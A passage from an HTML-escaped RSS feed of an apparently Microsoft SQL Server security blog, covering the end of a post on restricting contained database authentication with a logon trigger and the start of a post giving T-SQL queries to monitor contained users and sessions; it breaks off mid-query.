&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;&amp;gt;sqlcmd -S MyServer -U user_test -P "S0m3 P@ssw0rD! 4D3M0" -d db_cdb_test&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;Msg 17892, Level 14, State 1, Server MyServer, Line 1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;Logon failed for login 'S-1-9-3-538751325-1104058235-1199607715-665140684.' due to trigger execution.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;****************************************************************************/&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;-------------------------------------------------------------&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;-- DBA can add/remove DB IDs as necesary&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;-- In this case we will allow db_cdb_test to authenticate&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;--&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;USE&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; &lt;span style="COLOR: blue"&gt;master;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;GO&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;INSERT&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; &lt;span style="COLOR: blue"&gt;INTO&lt;/span&gt; [dbo]&lt;span style="COLOR: gray"&gt;.&lt;/span&gt;[t_logon_authentication_dbs] &lt;span style="COLOR: blue"&gt;VALUES &lt;/span&gt;&lt;span style="COLOR: gray"&gt;(&lt;/span&gt;&lt;span style="COLOR: fuchsia"&gt;db_id&lt;/span&gt;&lt;span style="COLOR: gray"&gt;(&lt;/span&gt;&lt;span style="COLOR: red"&gt;'db_cdb_test'&lt;/span&gt;&lt;span style="COLOR: gray"&gt;));&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;GO&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;/****************************************************************************&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;* Running from the command line:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;*&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;&amp;gt;sqlcmd -S MyServer -U user_test -P "S0m3 P@ssw0rD! 4D3M0" -d db_cdb_test&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;1&amp;gt; SELECT user_name();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;2&amp;gt; GO&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;--------------------------&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;user_test&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;(1 rows affected)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;1&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;****************************************************************************/&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;&lt;/span&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;span style="FONT-FAMILY: ; FONT-SIZE: small"&gt;&lt;span style="FONT-FAMILY: ; COLOR: #000000"&gt;&lt;span style="FONT-FAMILY: Calibri"&gt;&lt;span style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/span&gt;Thanks to Sameer Tejani, Rick Byham for their feedback.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;span style="FONT-FAMILY: Calibri; COLOR: #000000; FONT-SIZE: small"&gt;&amp;nbsp; -Raul Garcia&lt;br /&gt;&amp;nbsp;&amp;nbsp; SDE/T&lt;br /&gt;&amp;nbsp;&amp;nbsp; SQL Server Engine&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10101125" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/sqlsecurity/archive/tags/Execution+context/">Execution context</category><category domain="http://blogs.msdn.com/b/sqlsecurity/archive/tags/Compliance/">Compliance</category></item><item><title>Contained Database Authentication: Monitoring and controlling contained users</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2010/12/04/contained-database-authentication-monitoring-and-controlling-contained-users.aspx</link><pubDate>Sat, 04 Dec 2010 01:58:12 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10100240</guid><dc:creator>Lyudmila Fokina</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10100240</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2010/12/04/contained-database-authentication-monitoring-and-controlling-contained-users.aspx#comments</comments><description>&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana,geneva;"&gt;Enabling contained database authentication on an instance allows db owners (and other privileged db users) to create and manage users who can connect to the database on the instance. However, the instance administrator (or other privileged server principal) may want to monitor database authentication &amp;ndash; users and connections.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana,geneva;"&gt;&lt;span style="font-size: small;"&gt;Here are some queries which should help monitor and control contained users from the instance level.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpFirst"&gt;&lt;span style="font-family: verdana,geneva;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"&gt;&lt;span style="mso-list: Ignore;"&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;Detect that contained database authentication is enabled at the instance:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpLast"&gt;&lt;o:p&gt;&lt;span style="font-family: Verdana;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Consolas; color: maroon;"&gt;sp_configure&lt;/span&gt;&lt;span style="font-family: Consolas;"&gt; &lt;span style="color: red;"&gt;'show advanced'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 1;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: blue;"&gt;&lt;span style="font-size: small;"&gt;RECONFIGURE WITH OVERRIDE;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Consolas; color: blue;"&gt;go&lt;/span&gt;&lt;span style="font-family: Consolas;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Consolas; color: maroon;"&gt;sp_configure&lt;/span&gt;&lt;span style="font-family: Consolas;"&gt; &lt;span style="color: red;"&gt;'contained database authentication';&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Consolas; color: blue;"&gt;go&lt;/span&gt;&lt;span style="font-family: Consolas;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="mso-fareast-language: ZH-CN;"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;span style="mso-fareast-language: ZH-CN; mso-no-proof: yes;"&gt;&lt;img src="http://blogs.msdn.com/resized-image.ashx/__size/550x0/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-92-93/2330.1.jpg" border="0" /&gt;&lt;v:shape o:spid="_x0000_i1028" type="#_x0000_t75" fillcolor="yellow" filled="t" id="Picture_x0020_25" style="width: 408pt; height: 27.6pt; visibility: visible; mso-wrap-style: square;"&gt;&lt;v:imagedata src="file:///C:\Users\LYUDMILF\AppData\Local\Temp\msohtmlclip1\01\clip_image001.png"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&lt;/span&gt;&lt;/v:imagedata&gt;&lt;/v:shape&gt;&lt;/span&gt;&lt;span style="mso-fareast-language: ZH-CN;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraph"&gt;&lt;span style="font-family: verdana,geneva;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"&gt;&lt;span style="mso-list: Ignore;"&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;List of contained databases on the instance: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="line-height: 115%; font-family: Consolas; color: blue; font-size: 9.5pt;"&gt;&lt;o:p&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="line-height: 115%; font-family: Consolas; color: blue;"&gt;SELECT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: Consolas;"&gt; &lt;span style="color: teal;"&gt;database_id&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: teal;"&gt;name&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: teal;"&gt;containment_desc&lt;/span&gt; &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; &lt;span style="color: green;"&gt;sys&lt;/span&gt;&lt;span style="color: gray;"&gt;.&lt;/span&gt;&lt;span style="color: green;"&gt;databases&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="line-height: 115%; font-family: Consolas; color: blue;"&gt;WHERE&lt;/span&gt;&lt;span style="line-height: 115%; font-family: Consolas;"&gt; &lt;span style="color: teal;"&gt;containment&lt;/span&gt; &lt;span style="color: gray;"&gt;&amp;gt;&lt;/span&gt; 0;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="line-height: 115%; font-family: Consolas; font-size: 9.5pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="line-height: 115%; font-family: Consolas; font-size: 9.5pt; mso-fareast-language: ZH-CN; mso-no-proof: yes;"&gt;&lt;img src="http://blogs.msdn.com/resized-image.ashx/__size/550x0/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-92-93/5125.2.jpg" border="0" /&gt;&lt;v:shape o:spid="_x0000_i1027" type="#_x0000_t75" id="Picture_x0020_26" style="width: 244.2pt; height: 65.4pt; visibility: visible; mso-wrap-style: square;"&gt;&lt;v:imagedata src="file:///C:\Users\LYUDMILF\AppData\Local\Temp\msohtmlclip1\01\clip_image003.png"&gt;&lt;/v:imagedata&gt;&lt;/v:shape&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana,geneva;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpFirst"&gt;&lt;o:p&gt;&lt;span style="font-family: verdana,geneva;"&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="font-family: verdana,geneva;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;&lt;span style="mso-list: Ignore;"&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;Users who can connect to the CDB. This includes all Windows users and groups, plus users &lt;span style="mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;with passwords in contained db (for example in db_Contained database):&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpLast"&gt;&lt;span style="font-family: 'Calibri','sans-serif'; font-size: 11pt; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;&lt;o:p&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="line-height: 115%; font-family: Consolas; color: blue;"&gt;SELECT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: Consolas;"&gt; &lt;span style="color: teal;"&gt;principal_id&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: teal;"&gt;name&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: teal;"&gt;type_desc&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: teal;"&gt;authentication_type_desc&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="line-height: 115%; font-family: Consolas; color: blue;"&gt;FROM&lt;/span&gt;&lt;span style="line-height: 115%; font-family: Consolas;"&gt; &lt;span style="color: teal;"&gt;db_Contained&lt;/span&gt;&lt;span style="color: gray;"&gt;.&lt;/span&gt;&lt;span style="color: green;"&gt;sys&lt;/span&gt;&lt;span style="color: gray;"&gt;.&lt;/span&gt;&lt;span style="color: green;"&gt;database_principals&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="line-height: 115%; font-family: Consolas; color: blue;"&gt;WHERE&lt;/span&gt;&lt;span style="line-height: 115%; font-family: Consolas;"&gt; &lt;span style="color: teal;"&gt;authentication_type&lt;/span&gt; &lt;span style="color: gray;"&gt;IN&lt;/span&gt;&lt;span style="color: blue;"&gt; &lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;2&lt;span style="color: gray;"&gt;,&lt;/span&gt; 3&lt;span style="color: gray;"&gt;);&lt;/span&gt;&lt;span style="color: green;"&gt;-- either user with password or Windows user\group&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraph"&gt;&lt;span style="font-family: 'Calibri','sans-serif'; font-size: 11pt; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;&lt;o:p&gt;&lt;img src="http://blogs.msdn.com/resized-image.ashx/__size/550x0/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-92-93/7416.3.jpg" border="0" /&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-language: ZH-CN; mso-no-proof: yes;"&gt;&lt;v:shape o:spid="_x0000_i1026" type="#_x0000_t75" id="Picture_x0020_28" style="width: 381pt; height: 53.4pt; visibility: visible; mso-wrap-style: square;"&gt;&lt;v:imagedata src="file:///C:\Users\LYUDMILF\AppData\Local\Temp\msohtmlclip1\01\clip_image005.png"&gt;&lt;/v:imagedata&gt;&lt;/v:shape&gt;&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraph"&gt;&lt;span style="font-family: verdana,geneva;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"&gt;&lt;span style="mso-list: Ignore;"&gt;4.&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;Current database authenticated sessions: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="line-height: 115%; font-family: Consolas; color: blue; font-size: 9.5pt;"&gt;&lt;o:p&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="line-height: 115%; font-family: Consolas; color: blue;"&gt;SELECT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: Consolas;"&gt; &lt;span style="color: teal;"&gt;es&lt;/span&gt;&lt;span style="color: gray;"&gt;.&lt;/span&gt;&lt;span style="color: teal;"&gt;session_id&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: teal;"&gt;es&lt;/span&gt;&lt;span style="color: gray;"&gt;.&lt;/span&gt;&lt;span style="color: teal;"&gt;login_time&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: teal;"&gt;es&lt;/span&gt;&lt;span style="color: gray;"&gt;.&lt;/span&gt;&lt;span style="color: teal;"&gt;original_login_name&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: teal;"&gt;db&lt;/span&gt;&lt;span style="color: gray;"&gt;.&lt;/span&gt;&lt;span style="color: teal;"&gt;name&lt;/span&gt; &lt;span style="color: blue;"&gt;AS&lt;/span&gt; &lt;span style="color: red;"&gt;'CDb name'&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="line-height: 115%; font-family: Consolas; color: blue;"&gt;FROM&lt;/span&gt;&lt;span style="line-height: 115%; font-family: Consolas;"&gt; &lt;span style="color: green;"&gt;sys&lt;/span&gt;&lt;span style="color: gray;"&gt;.&lt;/span&gt;&lt;span style="color: green;"&gt;dm_exec_sessions&lt;/span&gt; AS &lt;span style="color: teal;"&gt;es&lt;/span&gt; &lt;span style="color: gray;"&gt;JOIN&lt;/span&gt; &lt;span style="color: green;"&gt;sys&lt;/span&gt;&lt;span style="color: gray;"&gt;.&lt;/span&gt;&lt;span style="color: green;"&gt;databases&lt;/span&gt; AS &lt;span style="color: teal;"&gt;db&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
